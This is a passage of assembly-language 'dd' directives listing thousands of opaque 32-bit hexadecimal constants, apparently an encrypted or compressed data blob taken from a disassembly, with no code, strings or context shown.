0C2570DF0h, 0DFC054F6h, 0B0B04B87h, 0DDABB9A8h, 13563A8h dd 768C340Dh, 1BAC143Ch, 0A732A73Eh, 3F0267EBh, 8958F021h dd 6A4566E4h, 0E85A381Bh, 820A0269h, 0E3E6B88Fh, 0A8E0ED20h dd 28DA6503h, 40D4FAB8h, 0AF01173Bh, 0AA62B38h, 8A940735h dd 47E5FD6Dh, 0B46D31h, 93522A43h, 8DD6C6C9h, 0AC7EA5F4h dd 0C16D8DDDh, 0CB98706Ch, 0F2B2959Eh, 0FD0AD2D0h, 8526890Eh dd 0B0D7D906h, 38CDF135h, 0DBF34034h, 0F1C5F5C9h, 32498001h dd 0F7C45E5Dh, 0E350B27Ah, 8390BF45h, 636B4987h, 0B7D42C09h dd 0F080814Ah, 0EF9844DAh, 24DD277Ah, 0BF79EF7Bh, 0D11B47C8h dd 0EE052CD0h, 5FBA391Dh, 7D996EF7h, 0F2BF07B8h, 96D5A2B9h dd 27CC2166h, 3A54FAE5h, 26D0B050h, 90FD584h, 831BDD8Ch dd 0BC34F387h, 3588D0CAh, 0A2C48321h, 0B2249801h, 0A757E298h dd 27719293h, 4CFBAFF1h, 3844CB32h, 0E6F912B4h, 0B710BE14h dd 5C853018h, 0D125D76Bh, 4F9DAB55h, 0E6BEF610h, 3DDE84E2h dd 455D4E3Fh, 9F0E1E13h, 8586E24Ah, 0E007C8Ah, 8ED5E9ACh dd 7141DF82h, 7C7102D3h, 0CC2D20BDh, 0E5E452E7h, 1AB0BF4h dd 0F354FB72h, 3AEBD74Eh, 0F5C4B7E9h, 0FC81FE98h, 0B820075Eh dd 7E30587Ah, 5B5C1317h, 0A7ED0F51h, 0A6F45F37h, 0FE9217CFh dd 4F497342h, 0DD61C4CAh, 1CB7F4ECh, 0C3034CFFh, 0EE74208h dd 73BE287Ch, 0E6CD7B3Ah, 0E0585D49h, 41C567ACh, 0B2B5AF09h dd 4C884B06h, 4F8B8EFh dd 6B7A7F37h, 99C361B2h, 0E207752Ch, 0A8CB0F02h, 3F07E0AEh dd 0B7F7458Dh, 0FDDFD187h, 99379E79h, 67184796h, 0C022C4CDh dd 74C46D7Eh, 5D3E3C8Ch, 0B0CD0C0h, 409C1508h, 201D1AE5h dd 0A0A573BEh, 0BECCBA1Eh, 0BE7A0347h, 8FB12700h, 7B14A4A5h dd 0DCF213AEh, 0B7CB19EBh, 15913145h, 25F567C8h, 0C647BA9Fh dd 0E7D8D65Ch, 0FCE5B67Eh, 256BD737h, 0AC2709A2h, 69F2B4CAh dd 0A4B81F4Eh, 0E74A2D11h, 8BB38798h, 2D63C3B4h, 0DEE1129Ch dd 0D637A18Ah, 9134DCFDh, 0B9AA4B25h, 0C352647Bh, 18640285h dd 9ED0E0AEh, 0E035D04Bh, 0E75AFCC3h, 0A80968D1h, 6222D43Bh dd 0E736ABB4h, 0ADF70FCBh, 64F4BA3Dh, 805FEA77h, 0DCBEF3BEh dd 0F2C76ADh, 47610C9Bh, 4DDA0245h, 0E9634235h, 644A3518h dd 5A972B47h, 0ED0DEE5Fh, 0FD8CFCA4h, 6AD03001h, 61D9BB21h dd 0E0D1739h, 0E5493FF3h, 0FC77A8DAh, 4A33658Bh, 0B6E1F168h dd 441EFDA3h, 0AD5132CAh, 0C3F6E35Dh, 4C247480h, 309C931Eh dd 0CFF60E53h, 84361C17h, 6B8D5073h, 961995D1h, 9ABA0CC8h dd 0F9CDF9B7h, 291AAADFh, 0AB73B529h, 0C82610E6h, 9513E74Dh dd 7FA1045Eh, 0DE7543C3h, 7624CFCDh, 0F0B460F9h, 19C6AAB9h dd 0D64B5A10h, 0F8519CB9h, 2459A539h, 0CD6A4A3Bh, 113BE45Eh dd 0E009F7B3h, 0D05D89D7h, 0C20BE20Bh, 27D1149Dh, 223C134Ch dd 73811BAEh, 20E161ABh, 49FC11EBh, 0C6734E17h, 13172528h dd 0B443CD9Ah, 0F181D94Ch, 891E27A5h, 3F593137h, 0B3CDDDA2h dd 2E4DB719h, 1E80A901h, 0CC917360h, 158173EAh, 0E401E32Dh dd 258EE549h, 0E54FDCE2h, 1190DDF2h, 0A7BD255Bh, 0CAAE4DC9h dd 0B2FFEC51h, 3127BFD6h, 5E742465h, 0D1DD0BEAh, 0BB2F7A5Eh dd 0ECA1B2D2h, 769289Ch, 56EBF760h, 0F0C6EFDDh, 84B790BDh dd 0F9D10531h, 0CE696AB3h, 0A6921957h, 155C38C0h, 0FD742229h dd 0DF162849h, 42896390h, 27AD2FA6h, 0E1785D33h, 0B8FD1B17h dd 98148361h, 0A6DFE1F4h, 1CB4D248h, 659E5176h, 0BEF03C8Eh dd 6093C1DCh, 0B47D3D50h, 5F1E31FBh, 19C3AB9Ch, 0DAA9AE8h dd 0B9BC391Fh, 76F34737h, 0D86CAB69h, 72B5C0FEh, 0FDDFE5EFh dd 4B93A253h, 29F38011h, 5A11105Dh, 0DDE88983h, 0EE5154A1h dd 0BEB96692h, 1EB0C233h, 0D8FB36A3h, 34B00BC5h, 0C8A656FDh dd 98F045ABh, 0C870B649h, 3FD46988h, 79F52454h, 0B9B77913h dd 626AEBF5h, 2DF6F0DDh, 1C1701C2h, 39A70B18h, 7475FD7Bh dd 5FA764C1h, 858C972Ch, 620C8E1Ah, 0F43C719Ah, 0E167DE55h dd 0BDD5A71Ch, 0F9A4F897h, 0C05730AEh, 36FEFE9Ch, 0F60481A7h dd 52FA3536h, 99495B82h, 0E1F45939h, 6876A01Bh, 0C79473ECh dd 9DC09505h, 860845EEh, 513BC13Dh, 52084864h, 2EF27E3Ah dd 0C4F3B7A1h, 0AB220AD9h, 90E0B9E7h, 0F60490DCh, 0CEB1F973h dd 877FD303h, 672CFD0Fh, 78E65BB5h, 49127E9Ch, 4E784391h dd 3B1EAB94h, 93B19D9Ch, 0E83325CBh, 0A0B023DBh, 3A29B30Ah dd 666194FFh, 0D5C34Dh, 8221EA18h, 0C853B06Fh, 0C6FA2C0Dh dd 79919C74h, 5FD63D42h, 4511D334h, 0DD770CB4h, 0A2FBC08Fh dd 8C31EF4Dh, 462AC160h, 0A381EF39h, 0FEB4B99Fh, 0BA502AF7h dd 1F758F30h, 6FEF6777h, 53B6926h, 0A2C2204Eh, 51136F9Eh dd 7A82FB5Ch, 1E94CB61h, 0A03991D6h, 0FE7A43C0h, 19624A9Bh dd 0C4EC0454h, 3F6A7A3Fh, 3CB0BB1Eh, 3AE3BB5Eh, 0BAE22DA6h dd 8F695AF4h, 0D5089503h, 5479F63h, 0AB8DF62Bh, 41C855C4h dd 2F51F743h, 238469A4h, 9B78068Bh, 3EA7ED33h, 195FD483h dd 61570F2Fh, 8B66F059h, 7075CD4Dh, 0F17C54CEh, 17E636B5h dd 0DCB47880h, 65596AA8h, 0F7DF6CFDh, 0B6C50137h, 8B6F7D51h dd 0C37DB0A3h, 4D88471h, 0E3FC0937h, 7F731E86h, 0E1BB33DDh dd 9D4BE299h, 0C545F4F5h, 259CFEA8h, 0C20CAAB5h, 0C1C7481Dh dd 5886585Ch, 41143EECh, 1388D600h, 12D50C8Ch, 5724BEB2h dd 85B281F3h, 377AAD13h, 26614756h, 0D7137AB9h, 0AE39008Ch dd 34BC607Ah, 6276BC1Eh, 0F0AAEE04h, 88120AEAh, 0D80E5A30h dd 7B2DDC50h, 0F19781B0h, 2284C15Ch, 0F623ADEDh, 0E5D69F2Fh dd 0FB85EE8Ch, 0F4AE3E89h, 0CB9AF8B7h, 0FE6638BCh, 0E61BC3CAh dd 3F1814DAh, 390C5393h, 965D250Ah, 5257B7B4h, 74FD84DEh dd 0E3BFB443h, 287C8D89h, 719695CDh, 44B2FF8Ah, 0D7272B35h dd 0B8F00C71h, 159B0224h, 0A1E27C18h, 2217F8CEh, 7A95E998h dd 0AC70566Bh, 887DEC53h, 2804201Bh, 1BBDDBE2h, 9E605227h dd 4064204Ch, 0F025FA18h, 5379402Eh, 621FA4E6h, 1B79203Eh dd 0F682E7EAh, 0DD8450E5h, 3600E755h, 2335D32Ah, 6A4FB1ABh dd 332B4C6Eh, 0EF616CF2h, 0BE24C5C6h, 71AAE8A9h, 5DA237CAh dd 94E27194h, 20CFD363h, 0D6B1BF5Ch, 0A7D111DCh, 0B12F7EE0h dd 0A108C410h, 0F04F087Eh, 0C67DADB2h, 0DA98195Dh, 0A5B8CE51h dd 2580906h, 76345906h, 3C3A4AEBh, 6C75B748h, 0A9C0F8C1h dd 0DB942E6Fh, 0E02A54AEh, 0C3CE5451h, 9D77F7D4h, 9A75EC9Eh dd 0DC4FBCA1h, 28D337A6h, 7EC2D621h, 994F86Eh, 0EE98BB9Eh dd 5D75E6A7h, 0DC69EC7Bh, 13CEA2FEh, 3157AF01h, 0E4CB4C17h dd 48729E0Fh, 0DF458701h, 64D2FC9Ah, 12AD857Ch, 0D6237255h dd 3BA8FB93h, 5CB6B015h, 0A8AF7E2Ah, 7C74D578h, 6403BBA5h dd 481254Eh, 0FBB7F421h, 50BC3739h, 4E3A1E3Bh, 84ED911Ch dd 6C90E36Dh, 0D0C1B88Ch, 0F11CA83Fh, 98574DCFh, 0C7226FAh dd 41EEF634h, 0DD2AEEh, 573FB1CCh, 0CD645F31h, 535827DBh dd 49B53B18h, 0C481146Bh, 0C37746CCh, 1F40AE29h, 0E738EA42h dd 64A470F3h, 0AA109746h, 55F7F39Fh, 0CD3B1F86h, 239E1007h dd 0D0FAA38Bh, 6A4E8CB3h, 4988AD6Bh, 5CB4692Dh, 6CE2F3B9h dd 93E550D0h, 1525709Bh, 19167D14h, 45B0D579h, 16787920h dd 7DED706Dh, 615A595Dh, 2BDA951h, 273B1B31h, 5DFB255Eh dd 6E253E8Dh, 3138C5A6h, 5C53053h, 0A56C38C2h, 0C8FDDCE2h dd 5094A473h, 0AC79AD42h, 84A12DB2h, 0A053BC4Dh, 0F2BC32A1h dd 16E999FFh, 476141AFh, 0F8EC0F00h, 5A08253Ah, 0C74FF728h dd 0D8A35BBBh, 9DB2C78Bh, 0FE900072h, 104DB24Bh, 3134D772h dd 0DF9BF7E9h, 9E2084ECh, 67ACCDBDh, 2F203E7Dh, 0F4000082h dd 0CD1704B3h, 2837EC4Fh, 2B11A476h, 5CA145DCh, 0B5826D54h dd 9EBBA233h, 34B70B8Bh, 12ED009Bh, 0B5AF3453h, 0C1365ADBh dd 72A077CFh, 4B7ADCD1h, 5A8FF242h, 583EB1A3h, 0B75787FDh dd 0B50E6562h, 0BE775CAEh, 0A7A5D981h, 4D937FC6h, 96823970h dd 5B86695Ch, 0A9497627h, 0C8B1D83h, 4164CB80h, 4F07094Fh dd 83AB33E8h, 0E8FC1AA2h, 0E994A464h, 9BC63989h, 0FD54B89Dh dd 3C0B5B1Eh, 0C84DEC67h, 8D66D43Dh, 3FF89EECh, 5622F38Ch dd 84D0C4E1h, 156815DCh, 822A36FAh, 6DDCE13Bh, 5122AAEFh dd 67206676h, 2D5BE144h, 28946AC0h, 0E16E0275h, 0C2635CD9h dd 8A798D5Dh, 36A13A76h, 0ACD7FD60h, 0D480E3E2h, 64C7D916h dd 89E4A3EFh, 0BDF6A60Eh, 62580DE8h, 0C82AB68Bh, 41336D2Fh dd 0C0D7C6BEh, 0CB98E0A7h, 1AD0B3C4h, 18E11C8Ah, 0BE25C516h dd 9F32584Ch, 95B4E79h, 0B559BC2Fh, 0D0709C97h, 32E5ECFCh dd 0FB6FDD47h, 2F39BEF9h, 0AD4ACCABh, 0E54A70B9h, 743BE5D3h dd 39F6D90Ch, 3CA71976h, 188DC2Dh, 0FBF5EB09h, 9B66AFC0h dd 83F4E183h, 0FE7715EBh, 82909B62h, 0D9E4CF6h, 2D2FC877h dd 6AC2F5A4h, 3E49EA86h dd 0BCE32AD5h, 0BA91CC9Bh, 0A77642A5h, 1167DDC6h, 7EF7886Dh dd 9B9836C7h, 67F68C0Ch, 20350B35h, 0F40E825Ah, 92F60E2Bh dd 0F65D805h, 0D7B23394h, 7BCC6B46h, 7E2EC9BBh, 377F7BD1h dd 2C6A2A1Eh, 9E2F359Fh, 0AC06E44Eh, 4516C0E3h, 5BC5734Bh dd 0C89E2AB6h, 0E7145641h, 0AF292266h, 2017EA1Dh, 9C307E51h dd 0EC2ECA63h, 875CCB18h, 0B48F0F16h, 72C80EC5h, 0A869501Eh dd 3D12387Bh, 0F994FB09h, 0EA336A9Eh, 0FB3C4E39h, 0A4A9F299h dd 0E64726C4h, 471B5136h, 0A65E05E5h, 72A73FACh, 3E86E4h dd 9F40218Ch, 0D7A51270h, 2DE52EE6h, 77803864h, 839E0494h dd 80AD105Eh, 31EC0EF5h, 0AF0FA2Eh, 0BC5B9E3Fh, 730D00Ch dd 5F196C1Dh, 9FF860B3h, 0A6676F06h, 68D7C3EEh, 0A415844Bh dd 9F62EC27h, 0A311EFF6h, 14B82A11h, 2927C0B7h, 0C1E5CE94h dd 46F03542h, 0C44666B4h, 957E7FD4h, 4F39AB89h, 8F521AEDh dd 4831B283h, 0B8067376h, 0A2C0E1E1h, 20743801h, 0D1671DC7h dd 776C6A13h, 0F550F6A3h, 0F5F05B23h, 0D708CB7h, 3E563CD8h dd 0F61F0A7h, 0ACF00130h, 86192601h, 1FA51F96h, 517EF647h dd 44E55881h, 0E12E78F8h, 182B3227h, 4F825B9Eh, 374B93D7h dd 0DCD43B9Ch, 0A0DE137Ah, 0B4D0789h, 7B7BD95Eh, 16EC63CCh dd 73233F13h, 1B764F64h, 0F3757DC8h, 0CF957377h, 0B4D57F3h dd 8B0AD006h, 94967EA2h, 66E2C155h, 0C196AFB8h, 0F9699699h dd 7B09E80Fh, 1A1FB09h, 0ED84FDECh, 22786AB7h, 0A43FE39Bh dd 0CA350CC5h, 57AAC6B7h, 0DCC0A925h, 6FA4C872h, 0B0D2AAEBh dd 7EBBACD7h, 0EA00BEB7h, 12B44727h, 28DFA290h, 6280A20h dd 66AB5346h, 22AE909Fh, 3AEA46F3h, 54D330E8h, 0DFD19304h dd 6FDEAA23h, 8292EFE7h, 0AA696A31h, 678D6881h, 73C95A6Ah dd 95E9C90h, 828A11EAh, 0F3BB4DD9h, 6F0C70AEh, 0A8C723FEh dd 0E2F68668h, 7375E967h, 0C4FA52CAh, 70367669h, 66436D5Ch dd 295C0F0Eh, 0DCA1AC0Bh, 81E18831h, 5BB18CF0h, 2294BF2Eh dd 88626B25h, 0CD98384Bh, 54482A19h, 0BB1E3DE0h, 80740C32h dd 304C1066h, 3D9346A5h, 0D7EF31D0h, 9198CDE4h, 0AB4FF1D7h dd 0EFA6D670h, 553C1468h, 0A6FDE132h, 70CDF8D3h, 0EE7F36Eh dd 1897103Ah, 9F6B9F16h, 0AE4C2983h, 0F3C8AE5Ch, 91536445h dd 9A61D92Ch, 0F64955E1h, 5AE3DF05h, 516271E7h, 0B1C8783Fh dd 3EDAF88Fh, 5F6C48E8h, 37228836h, 730CBDC9h, 6671D385h dd 21A71684h, 0F5664957h, 0A09A95E1h, 0E273810Ah, 24FD1926h dd 0AF1DB062h, 0FB11CE34h, 85A3D08Ch, 9F07C9A9h, 6E94BED8h dd 0E4329AF2h, 5113379Eh, 8A6D4C66h, 79C843D9h, 78B0790h dd 26ED7228h, 2A01CB24h, 38DA0F9h, 0C399D99Dh, 74B6F8F5h dd 8924239Bh, 0D7E34A21h, 3906793Fh, 0A47432B5h, 0DF3B5729h dd 19F659B1h, 0AE1AA62h, 0F8CE5047h, 824F1339h, 1547EE19h dd 0DD9E0EA8h, 7AA9E35Ch, 9856C11h, 67ED1538h, 5BE9999Dh dd 96BBFB0h, 5943F366h, 25A0CCABh, 9A8CBF4Ch, 3CD18855h dd 0E9FC6EABh, 0CCFD3D75h, 0EBB14124h, 52948E57h, 0FE8C2639h dd 0AB1C0458h, 7A99BA1Eh, 56CCC7F8h, 0CA2153FCh, 0A2E1FCD2h dd 7E8910E4h, 4E0DAD70h, 5CB53957h, 0E4FD415Eh, 0A9742CCAh dd 0B498B2CEh, 6BABD150h, 0F4A22F4Ch, 13DA179Ch, 18161C83h dd 35B20F8h, 0EB2E1EEEh, 582E7F8Ch, 4244A7E4h, 2927633Dh dd 0FA26B051h, 0FA0DE2D3h, 17ABD85Ch, 6C368E27h, 1320D5D2h dd 0EC4323C1h, 0A88E132Bh, 782CAEAFh, 0D9B23765h, 2818C9E1h dd 14617334h, 0CD263EC4h, 487B0738h, 0C4A8D884h, 0F815B6Fh dd 9E4E4D46h, 53560EFEh, 0A758D70Bh, 0CD348DB0h, 6290B116h dd 28A55BB3h, 771719A2h, 0C3BE439Ch, 0F180A39Fh, 0E60D4CE8h dd 0AD9359E9h, 0A96D19F9h, 0B40260EFh, 20BAEA71h, 7D7179E9h dd 0F93FC6DCh, 9DCCB790h, 9DD334FDh, 0CFD16EBAh, 9DA5A2DEh dd 0B45EFB69h, 9387F485h, 3DA7DD4Ah, 0E081C5B9h, 39013BD1h dd 93E874BDh, 0D143D02Fh, 82716F61h, 8AEA5420h, 234D5E1Dh dd 1C97861Bh, 0EC59A17Bh, 6C8CC5D4h, 0C938F123h, 0F1BED5Fh dd 0B7AB5D7h, 0D1F257Eh, 3D1DF1Dh, 6490DB21h, 28C98E2Bh dd 29FD7665h, 5DBD6620h, 10F11F5h, 5AC25B5Fh, 677E9E43h dd 28D1F971h, 9FF6A284h, 6B237D46h, 18E6715Ah, 876999F5h dd 55D74C03h, 0B8A9C37Eh, 0C7D9D489h, 5F280E06h, 0E40C7D90h dd 9A73F531h, 0D023B189h, 0A70B55F4h, 0EFFE2F1Eh, 9701BB7h dd 0C9C9B5C8h, 1F3573C4h, 0E5B262A0h, 0DB15B828h, 0B62E5F44h dd 448F0C06h, 16F487B1h, 0D70710Dh, 994658CDh, 0F62ED177h dd 0EE4456A0h, 6307571h, 8BC51034h, 29CB3B20h, 936CA87Ah dd 290860AAh, 7C22263Fh, 6E2F61F3h, 2188A33Ah, 7C6ADDCh dd 0D841BF05h, 0A26B425Ch, 3F3CA0E2h, 2FFFFB3Eh, 0F787775h dd 0C3F4CDAAh, 499B2F4Fh, 90BDF8FFh, 93DF859Eh, 7CFCEF07h dd 84F4CA9Ah, 0A1FA4939h, 0CB18B6F8h, 0BC93BB49h, 5CF9206h dd 33CBE8D7h, 1EB29AC6h, 95AABB7Ch, 0B7164AE8h, 8501C0E0h dd 0EB8CD6E2h, 0A76C1027h, 0F862FDC2h, 0C0814E1Ah, 71AD858Ah dd 0D0B7F6A4h, 49667EEBh, 8E6823D9h, 2D26847Ah, 0D0BA7134h dd 3A3FBE03h, 0EAEEB302h, 0B36FCE13h, 0AA2F6A89h, 339F972Bh dd 5E24690Ch, 6CE1B806h, 86744A9Bh, 0F9BB4815h, 0B04B911Dh dd 0BC1A1E2Eh, 4D9E2B2Ch, 3DFEEA12h, 5DF81D15h, 1DA8C56h dd 82A27A36h, 0FEE98652h, 0E559023h, 76E09EF8h, 9F3EE539h dd 0BE39F6Ch, 76F2E3E6h, 5FE4CEBFh, 77006B81h, 0A961587Ch dd 0AB45B2E3h, 9AD4D419h, 1C457C32h, 0E04EE998h, 0C9F4B1F4h dd 47582ACh, 739D721Ch, 0CA1E0B7h, 0C14271C6h, 0DC513DD0h dd 85BBF7D5h, 9110B24Ah, 0AFC1BEF0h, 51D4C3FEh, 27AAA593h dd 1229FCB7h, 848C2B2h, 0F57A37FDh, 0C6EDD8C4h, 0E1765B52h dd 0C6EAB544h, 0A0A01616h, 74AC9817h, 2E2D4CA3h, 0F33C42E4h dd 21F234F8h, 0E19A1F50h, 0D156FF2Ch, 0B7CA64B3h, 6D5121BBh dd 238DAA25h, 29E026A1h, 75045ACAh, 0BFCE06E4h, 9D0EEB5Dh dd 4E422238h, 5187FB63h, 9FAEC0E4h, 3498B3E0h, 2414753Bh dd 0C7D5656Ah, 0CE0EF70h, 518D6AF4h, 21ED4E29h, 0AF314B34h dd 49AD55E2h, 188C129Ch, 93E79E11h, 0A57CFD13h, 63E83715h dd 0BA16109h, 0B5287278h, 0B3DFB1h, 0D9F4E4Fh, 0F435BAE5h dd 2581A240h, 878C2A60h, 6BF7A98h, 0CD2E9862h, 34145B36h dd 415D3CC7h, 1D14C1BCh, 3157BAE5h, 3FC2570Ch, 6AFD4864h dd 947E390Ch, 23F745D3h, 5270E898h, 0A3DD69BEh, 0D9AEEB8Bh dd 74863DA2h, 21485AF5h, 8CE97871h, 0D9FDC7EDh, 13EE6D4Eh dd 0C9B553C3h, 0F4B685EBh, 191DD530h, 12AAF25Ah, 5DCE7020h dd 27F14AAEh, 83D7120h, 41017552h, 0BA8DC4C7h, 7EA43F31h dd 9AEA6151h, 2422D3B8h, 42BAD930h, 589E6D62h, 11DFA450h dd 1F743498h, 0C3B5DD66h, 70766EF4h, 0C1E3E2FFh, 82CF8E45h dd 78C8D9FAh, 505E87E0h, 1A4216AAh, 214772C1h, 6B5F6D6Ah dd 0A448DD15h, 536DB3h, 0C130EE8Dh, 0D72215B8h, 493C03BBh dd 3AC0E00Ch, 0A58DA45h, 0F9228332h, 0A2519E51h, 956052F9h dd 95B4C22Ch, 0AF569A09h, 3FCA8696h, 0EAC918BAh, 89397505h dd 3A0B04ECh, 0E2EA1D42h, 1F7DAA8Bh, 0D1AE303Dh, 0D4874558h dd 0FB61E719h, 0D94682BAh, 4D811621h, 0DC5CBBE7h, 17FD8B0Eh dd 463EA59Fh, 4E7F7216h dd 2826C7CFh, 3382A58Dh, 0BCC0272Fh, 29FEED6h, 0CE04BDC2h dd 3E9FA858h, 50616232h, 0FF0D2D8Ch, 1DCE4EE9h, 0D305F882h dd 1E745ED7h, 0F84875Fh, 0D14F5CE5h, 0D61C7BF5h, 5A2CBAFAh dd 6E043FECh, 0A832AA9Dh, 0E1A7942Ah, 0FBF9B2DCh, 0D32101A9h dd 734CBFh, 716931CFh, 0B101DCF3h, 2761959Ah, 1CC570E0h dd 109C3F5Fh, 453A322Dh, 86CBE0B3h, 0B1F10E1Eh, 0E3F0E8C1h dd 7E8BA8F8h, 0CD725A93h, 0BAC37224h, 0A9CF9C3Fh, 0D0BB423Eh dd 13C243D1h, 52F3153Dh, 0E2155F1Ah, 749AC1Dh, 9CDAF4AEh dd 976EB2DDh, 387D8CABh, 0CF647348h, 78160270h, 0EB243B73h dd 0B01FD2F7h, 0AA4E6918h, 0B3429D7Bh, 74BFBEC4h, 271EB2CEh dd 0FCB85BE3h, 0F37B739Dh, 25BE5286h, 0D1677327h, 15832A0Bh dd 65EEE7F0h, 380D9AD7h, 3CDA8ECDh, 0AF64C3B9h, 9C5B4F02h dd 0BBEDCEDAh, 0EFE149F9h, 0BD399B53h, 0B5039331h, 10D9A29Ah dd 0B913752Ch, 51527CE6h, 66436E05h, 0AC0839BEh, 0C90C91A3h dd 42C949F8h, 3F297BEFh, 5379D52Eh, 4442A884h, 0F9F79ECFh dd 2EFE208Ch, 86C64DACh, 0C6BFA8B3h, 0B33D479Eh, 7DA6103Bh dd 0C4A1E4BEh, 7E85D6C7h, 15EFFCABh, 6BE3CCEh, 0CCDA8249h dd 0DD1B5B17h, 91B09132h, 43C6D1F3h, 11D43C10h, 46079588h dd 0A1F8F467h, 32C48081h, 115C8A76h, 0C7E8C3DDh, 0B35F2DFDh dd 7AE4C415h, 44CE7213h, 0BB4A8554h, 53AC73CCh, 0BCF2D668h dd 7BFCE0B8h, 0CF7BF4ACh, 0FE4BF107h, 9CCC63C9h, 6F5D748Ch dd 0C287978Bh, 0D3F62D5h, 8D033FCEh, 5285EB75h, 0CC5329A5h dd 0FAC2E7C4h, 0A795220Eh, 2C31ED38h, 710CC4C0h, 16A4EF02h dd 81F56563h, 3FEBA504h, 6A9E756Fh, 0FC78D4DCh, 68BFA486h dd 26BE90C4h, 0DBBDEF3Bh, 0A465A626h, 3B9FA603h, 7B0A4600h dd 0D58B626Eh, 0F6293F5Ah, 415D60BAh, 0A188E45Fh, 0B3D8EA63h dd 94C9FE75h, 45515CDCh, 2AF34AECh, 968682DCh, 360606E7h dd 0ABAE6C8Dh, 96B3682Ch, 29914A7Ch, 0E69F7FD6h, 0B1542B1Fh dd 0E4D216EBh, 1520C5F2h, 0F86AD68Bh, 1C935B23h, 0DB3A1D77h dd 9B2196B3h, 0C06B6CAh, 36D6750Bh, 974D9935h, 0D0E4EA63h dd 0C7076776h, 38EA9CB3h, 24464DE6h, 31807A77h, 4BE1FD64h dd 4B0E29C8h, 0F968BDC6h, 709BFFD3h, 0F7A9BBA6h, 2FA46954h dd 0C54DDAEEh, 2F091E23h, 4FF92A93h, 8100AEA6h, 4AF6A6BFh dd 0B0DB3381h, 48ED22C3h, 752598F8h, 2CFFB5F8h, 6561646Eh dd 7BC2AB43h, 8E46D504h, 0EADC57B9h, 0AD901A45h, 0E2FFE0C2h dd 520AD5h, 5DC5DC8Fh, 0B38EC78Eh, 3590E6B1h, 3DB2A2DBh dd 0FBD959A8h, 0E5163ADEh, 0D511C00h, 204522ACh, 0C0D3573Ch dd 0BED163A7h, 8F3FA088h, 0AA5DD35Eh, 2AE71DAAh, 5CE270D4h dd 0FF81090Eh, 0E9D8838Eh, 0C6C63AEBh, 72224B77h, 0CE057C21h dd 210CE042h, 0E5844874h, 3097A054h, 495F3DAEh, 72747E8Ah dd 0F009ECDBh, 0F9841188h, 3A5F1950h, 5F6CAE4h, 94F47912h dd 409BC487h, 49D3AE24h, 57B6758h, 7586D95Ch, 0DF1649F0h dd 23EE9A80h, 0FA2C7BAEh, 61E5955Ah, 0C626B68Fh, 4C59C446h dd 0F86B67D4h, 0C6457FFCh, 75D0114Fh, 0AD5EDD51h, 0A06137BDh dd 3C101A2Bh, 7AFE3B8Ch, 9E5217DCh, 0BABCD391h, 1C220B1Eh dd 0AD6074ADh, 46BF939Eh, 2B1DFE62h, 77E4EE99h, 1EA77C5Eh dd 0FCB743F9h, 0B7F16196h, 4B683FEDh, 0CDFFAF34h, 0B92B508Ch dd 5491E2Dh, 20F3B3DBh, 0DD106ECDh, 0DA441507h, 0D01BA4D6h dd 1CB9B7C6h, 0C36F7DA8h, 967DF34Dh, 3BC3C8C9h, 0F0CA1E6Ch dd 61618177h, 0A59FD3E8h, 26137A16h, 5D6A284Fh, 695F1B91h dd 0F8C03BEAh, 56587001h, 0EE590F8Bh, 0E7578183h, 0FD4A4796h dd 52E005F7h, 59A359AFh, 0EB621966h, 0B6B4589Fh, 2CB92644h dd 3ED22FB3h, 96873B4h, 0AD116D30h, 61544426h, 0B678CD8Bh dd 0D643A690h, 0C5401CBh, 6FFED97h, 6F00A437h, 5A50C86Fh dd 0AE8B9FDCh, 775D8AF3h, 0CD2EEAB9h, 54F0747Dh, 5159C806h dd 9FF51DA1h, 0DF2B1930h, 0F0BDA1D6h, 0AF7DC10Dh, 0C580EAA8h dd 1D48C20h, 52C8D2BFh, 0CCC08B24h, 3A872CB3h, 7FC2A502h dd 40FA8DEDh, 770826FBh, 4463CD6Dh, 97B603B6h, 0D8B2424Eh dd 0F5D539B0h, 0D6547513h, 49FE4636h, 0E0B1F02Ch, 78B736FCh dd 0C2BDE02Dh, 3C34C9A5h, 81522C86h, 0FCDEB2BAh, 3682B3FDh dd 8B5087BEh, 0DAF8195h, 0C205ADE6h, 0B6731A27h, 7033194Ah dd 0FDD85BA5h, 47CB7262h, 33BFD804h, 0A7BC7D24h, 0F8A8F962h dd 38A8586Bh, 6948FB06h, 0A2CD9C2Bh, 50CC7BCAh, 0E9C2D5D8h dd 0A2CC5EE7h, 5A93AC4Dh, 86FE0350h, 0B12F098Eh, 892FDA42h dd 2D9917B5h, 0FEB01B9Eh, 5067EED1h, 127828Dh, 8A72BFBFh dd 7B8D44h, 386F1890h, 0E3713A5Bh, 0BCB727EEh, 0E76E58A5h dd 55C2CCAFh, 0E9B71BEAh, 6313797Eh, 26938370h, 68A5EB6Fh dd 0ECFF3E1Eh, 7E73282Ch, 6FC88E39h, 460FB00h, 8B1F5004h dd 7172DCC9h, 0CA8F5636h, 4EC16ED5h, 0D6D80FAAh, 0BBF7FB67h dd 0B07BF3AFh, 1BA6310Dh, 2C89BEAAh, 0A0C6580h, 3BE85F50h dd 8F1EC760h, 188A04C0h, 328A7EDFh, 8C76F092h, 8EBB7A7Eh dd 0D7293832h, 89A410FAh, 8ECFD08Fh, 9C8B6E3h, 0AD758D22h dd 0B4928303h, 1C0FFCDFh, 35BB6B10h, 0A448F644h, 0BBE0B5ADh dd 0EA9C0B3Dh, 48D4F9Ch, 0AFB94875h, 0DECE98E6h, 810D34CFh dd 6EBA1563h, 0C8D99003h, 2CB8A6B2h, 5D7DDED1h, 0B40AED8Ch dd 5578E78Dh, 0AB086B8Ch, 242BA6DDh, 0D437E3B0h, 4E324CC9h dd 93D56DAAh, 0DF2F136Fh, 0BE75E864h, 9D01F5h, 2885D47Bh dd 0BDF19AC7h, 99C8E56Dh, 0DA2944A0h, 0C7EC1A2Bh, 0EB2BF8C1h dd 0EDD63CB0h, 4E377E0Fh, 3BAA78Fh, 618B560h, 0A4476BA8h dd 14798A1h, 0D9C4546Eh, 0A91629A2h, 3678B13h, 1466722Eh dd 437F0BB8h, 4CCDD0ACh, 6C819ADCh, 650AF0ABh, 0ED5D2F5Ch dd 25192375h, 6C1BD3D3h, 27F82E97h, 3248C3D1h, 82425FC6h dd 30F5668Fh, 0BC85E4C4h, 3ACD0720h, 8B39A739h, 75AC68AAh dd 3BCDB237h, 7AEAC2C7h, 501A177Fh, 862A6293h, 890CC367h dd 0AF8E7922h, 0F5C56C26h, 0C15F06D0h, 0A83F1B10h, 77E1D769h dd 54A1DB21h, 4D22819Ch, 0DF7049BAh, 331EFE1Ah, 0F63BAC01h dd 53AF4850h, 35F8BA8Bh, 0F52E90EAh, 0B9747A7Bh, 6167F6CAh dd 53A98F01h, 8078930Ch, 211D4715h, 6FFBE4D8h, 